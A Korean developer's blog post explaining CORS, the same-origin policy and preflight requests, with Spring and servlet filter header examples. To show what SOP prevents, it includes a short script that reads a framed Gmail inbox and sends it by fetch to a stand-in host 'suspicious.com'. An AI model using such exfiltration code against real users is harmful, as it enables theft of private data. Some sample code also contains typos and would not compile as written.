교차 출처 리소스 공유 (CORS), 단일 출처 정책 (SOP), preflight

bien·2023년 9월 20일
0

프로젝트

목록 보기
3/5
post-thumbnail

프로젝트 중 security 없이 Servlet Filter <-> JWT 로그인을 구현하며 가장 고통받았던 부분이다. 공부하며 배웠던 부분을 가볍게 정리해보자!


CORS(Cross-Origin Resource Sharing)이란?

교차 출처 리소스 공유(Cross-Origin Resource Sharing, CORS)란,
추가 HTTP 헤더를 사용하여, 한 출처에서 실행 중인 웹 애플리케이션이 다른 출처의 선택한 자원에 접근할 수 있는 권한을 부여하도록 브라우저에 알려주는 체제이다.

CORS와 유사한 개념으로 SOP가 언급되는데, SOP(Same Origin Policy)란 다른 출처의 리소스를 사용하는 것에 제한하는 보안 방식을 말한다.

Cross-Origin Resource Sharing,
Same-Origin Policy.
둘 다 Origin이란 말이 언급된다. Origin이라는게 뭔지 먼저 살펴보자!

출처(Origin)

  • origin이란 URL의 Protocal, Host, Port를 합친 것을 말한다.
    • origin(Protocal, Host, Port)이 모두 같은 경우를 Same-Origin이라 한다.
    • origin(Protocal, Host, Port)이 하나라도 다르면 Cross-Origin이라 한다.
    • 참고) 이 때, 서버가 StringValue로 origin 값을 비교한다.

왜 존재할까?

우리는 한 사이트에서 주소가 다른 서버로 요청을 보낼때(웹사이트에서 AJAX 요청을 보내는 등) CORS 오류를 마주하게 된다. 그러나 PostMan이나 스프링 내부에서 HTTP 요청시 CORS 오류를 접하지 않는다.이 사실을 몰라 큰 곤혹을 치뤘었다. 이는 브라우저가 해당 오류 관리의 주체이기 때문이다.

😡 브라우저는 왜 이런 짓을 저지른걸까? 왜 내 허락도 없이 마음대로 다른 origin 접근을 차단한걸까?

사실 이건 사용자를 보호하기 위해서였다. 😮
브라우저는 SOP 때문에 한 웹 사이트에서 origin이 다른 서버로 요청을 보내는 것을 막는다. 이는 브라우저가 '유저가 접속하려고 하는 사이트'를 신뢰하지 못하기 때문이다.

이게 무슨 의미일까? SOP에 대해 자세히 알아보자.

SOP(Same Origin Policy)

SOP(Same Origin Policy)란 한 origin으로부터 로드된 document 또는 script가 다른 origin의 리소스와 상호작용 할 수 있는 방법을 제한하는 중요한 보안 메커니즘을 말한다.

The same-origin policy is a critical security mechanism that restricts how a document or script loaded by one origin can interact with a resource from another origin. -mozilla

즉, 한 DOM내에서 origin(출처)가 다른 리소스와 상호작용할때 SOP가 적용된다. 이 상호작용에는 XMLHttpRequest(), window.open, <iframe>등등이 해당된다. 뿐만 아니라 웹에서 Local Storage, Session Storage와 같은 웹 자체 데이터베이스가 있는데 이건 origin 마다 생성되고 이 생성된 데이터베이스는 same-origin을 갖는 document나 script만 접근이 가능하다.

만약 SOP 정책이 없다면 어떻게 될까?

해커가 내게 메일을 보내왔다. 나는 별 생각없이 해커의 메일 속 url을 클릭했다. 따라서 해커가 생성한 이 document가 나의 웹 브라우저에서 열리게 된다.

만약 이 아래 코드가 해커가 만든 document라고 생각해보자.

<iframe id="maiL" src="https://mail.google.com/mail/inbox"></iframe>

<script>
	document.getElementById("mail").addEventListener("load", function(e){
		mailData = document.getElementById("mail").contentDocument.body
		encoded = btoa(encodeURIComponent(mailData))
		fetch("https://www.suspicious.com?"+encoded)
	});
</script>

브라우저는 위 코드에 따라 google의 메일을 조회하고, 이 메일 정보를 해커의 서버로 전송하게 된다. 그러나 SOP 정책이 적용된다면 mail정보의 origin인 google.com과 해커 서버의 origin인 suspicious.com이 다르므로 script 상호작용이 제한되게 된다.

이처럼 SOP는 유저가 악의적 사이트에 접속해 document 혹은 script로 조작되는 것을 방지하는 기능을 수행한다. 사실 SOP는 매우 중요하고 필수적인 보안 정책이었다!

🤔 하지만 나는 다른 origin의 resource가 필요한데..?

그러나 실제로 우리는 origin이 다른 사이트의 특정 리소스가 필요한 경우가 많다. 프로젝트에서는 프론트와 서버 사이 Ajax 요청에 해당 기능이 요구되었다.

이처럼 다른 출처간에 리소스 공유를 위해 CORS가 개발되었다. 우리는 CORS를 통해 합의된 출처들 간의 리소스 이동을 합법적으로 허용해줄 수 있다!

그래서 CORS가 뭐라고?

다시 한번 정리해보자.

CORS(Cross-Origin Resource Sharing)추가 HTTP 헤더를 사용해서 한 출처에서 실행중인 웹 애플리케이션이 다른 출처의 선택한 자원에 접근할 수 있는 권한을 부여하도록 브라우저에 알려주는 체제다.

이제는 이 설명이 이해가 될 것이다.
CORS는 어떤 식으로 브라우저에게 다른 origin과의 자원 공유에 대한 정보를 알려줄까? 정의에 설명이 되어있다. 추가 HTTP 헤더를 이용한다고. 이게 무슨 의미일까? 먼저 언급하자면, CORS는 preflight(사전 요청)의 힘을 빌려 접근 권한을 확인한다. preflight먼저 알아보자!

📌 정리

  • SOP(Same-Origin Policy): 유저를 보호하기 위해 브라우저가 같은 origin(출처)의 상호작용만 가능하도록 제한하는 동일 출처 정책.
  • CORS(Cross-Origin Resource Sharing): SOP와 반대로, 합법적으로 다른 origin(출처)간 리소스 공유를 돕기 위해 만들어진 정책

Preflight란?

사담

API가 뭔지도 잘 모르면서 프로젝트를 수행했다. 필터 코드가 실행이 안되는데 그 이유를 몰라 이틀을 필터 코드만 고치고 또 고치다가 request method가 OPTION인 것을 보고 의아했다. 🤔Vue.js에서 이런 메서드로 요청을 한적 없는데...? 문득 영한님 강의에서 그런게 있었던것 같아 뒤져보니 힌트가 나왔다. CORS? preflight? 그제서야 아무생각없이 지나갔던 개발자 도구의 preflight라는 글자가 눈에 들어왔다.

처음 이 화면을 보고 preflight라는 글자를 의식했을 때, 답답하거나 화나기보단 마침내 이 이틀간 끝없는 필터 지옥의 해결 실마리가 보이는 것 같아 격하게 감동했던 기억이 난다.

preflight는 간단히 말해 사전 답사다. 브라우저는 먼저 요청하는 사이트에 preflight를 통해 제가 요런요런 요청을 보낼건데, 지원하시나요?" 하고 물어본다.

서버에서 해당 질문에 대해, 자신이 지원하는 요청에 대한 구체적인 스펙을 response 헤더에 담아 알려주면, 브라우저는 그 스펙을 확인하고 진짜 요청을 보낸다.

Preflight Request

구체적으로 preflight는 어떤 정보를 물어볼까??

  • Origins: 요청 출처
  • Access-Control-Request-Method: 실제 요청의 메서드
  • Access-Control-Request-Headers: 실제 요청의 추가 헤더
OPTIONS /resources/post-here/ HTTP/1.1
Origin: http://foo.example
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-PINGOTHER, Content-Type

Preflight Response

  • Access-Control-Allow-Origin: 서버 측 허가 출처
  • Access-Control-Allow-Method: 서버 측 허가 메서드
  • Access-Control-Allow-Headers: 서버 측 허가 헤더
  • Access-Control-Max-Age: Preflight 응답 캐시 기간
    • 매번 preflight로 두번의 요청이 오가므로, 캐시정보가 있으면 preflight를 요청하지 않고 바로 진짜 요청을 보낸다.
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://foo.example
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
Access-Control-Max-Age: 86400

특징

  • 응답 코드는 200대여야 한다.
  • 응답 바디는 비어있는 것이 좋다.

Preflight는 왜 필요할까?

CORS 스펙 이전 서버들은 브라우저의 SOP(Same Origin Policy) request만 가능하다는 가정으로 만들어졌다. 그러나 CORS로 인해 다른 출처간 리소스 공유가 가능해졌으므로, 그 이전 서버들은 CORS에 대한 security mechanism이 없어 보안적 문제가 발생 가능하다. 이런 서버들을 보호하기 위해 CORS 스팩에 preflight request를 포함시켰다고 한다.

(만약 CORS와 관련된 설정이 서버에 없다면 preflight 요청에 적절히 응답하지 않을 것이고, 따라서 브라우저에 의해 진짜 요청이 전송되지 않으므로 해당 서버를 보호할 수 있게 된다.)


CORS 접근제어 시나리오

preflight를 먼저 살펴보긴 했지만, 사실 CORS의 접근제어에는 3가지 시나리오가 존재한다. 단순요청(Simple Request), 프리플라이트 요청(Preflight Request), 인증정보 포함 요청(Credentialed Request)이 그것이다. 하나하나 알아보자.

단순 요청(Simple Request)

유저 데이터에 영향을 줄 수 있는 몇몇 요청들과 달리 서버에 요청을 해도 거의 영향이 가지 않는 요청(단순 조회 get요청과 같은)도 있을것이다. 이 Simple Request의 조건들을 모두 충족하는 요청들은 preflight 요청을 유발하지 않는다. 따라서 바로 진짜 요청을 수행한다.

다음의 메서드, 헤더, 헤더 중 Content-Type 헤더에 아래 값 만 있는경우, 단순 요청이 시행된다.

  • 메서드
    • GET
    • HEAD
    • POST
  • 헤더
    • Accept
    • Accept-Language
    • Content-Language
    • Content-Type
  • Content-Type 헤더
    - application/x-www-form-urlencoded
    - multipart/form-data
    - text/plain

Content-Type 헤더에 application/json도 없다. 사실 거의 preflight 요청을 수행한다고 봐도 될 것 같다.

프리플라이트 요청(preflight Request)

윗 장 참조

인증정보 포함 요청(Credentialed Request)

인증 관련 헤더를 포함할때 사용하는 요청. 쿠키나 jwt사용 시 클라이언트, 서버 측에서 해당 헤더를 포함해야한다. Access-Control-Allow-Credentials: true 로 응답하지 않으면, 응답은 무시되고 웹 컨텐츠는 제공되지 않는다.

클라이언트 측

credentials: include

서버측

Access-Control-Allow-Credentials: true

+) Access-Control-Allow-Origin: * 설정시 에러가 발생한다.


CORS 요청은 어떻게 해결할까?

1. 프론트 프록시 서버 설정 (개발환경)

실제로 프로젝트 시에 이런식으로 수행하지 않았다. 방법이 있다 정도로 참조한다. 뭔가.. 방법이 정석적인 방법은 아니라고 생각이 된다.

Front에서 origin과 target을 바꿔가며 proxy 적용을 해줘서 browser 입장에서 origin이 변경되지 않았으므로 CORS 해결이 가능해진다.

2. 직접 헤더에 설정해주기.

Servlet Filter 적용시 3번 적용이 불가능하므로, 직접 헤더에 설정해줘야 한다.

		response.setHeader("Access-Control-Allow-Origin", "http://localhost:3030");
        response.setHeader("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS");
        response.setHeader("Access-Control-Allow-Headers", "Authorization, Content-Type, X-Requested-With");
        response.setHeader("Access-Control-Allow-Credentials", "true"); // 필요에 따라 설정

이런식으로 설정해주면 된다.

3. 스프링 부트를 이용하기.

컨트롤러에 @CrossOrigin(origin = "허용할 url") 코드만 추가해주면 된다.

전역적 설정을 원하는 경우 WebMvcConfigurer를 구현해서 설정할 수도 있다.

@Configuration
public class CorsConfiguration implements WebMcConfiguerer {

	@Override
    public void addCorsMapping(CorsRegistry registry) {
    	registry.addMapping("/api)
        	.allowedOrigins("허용할 url");

Reference

profile
Good Luck!

0개의 댓글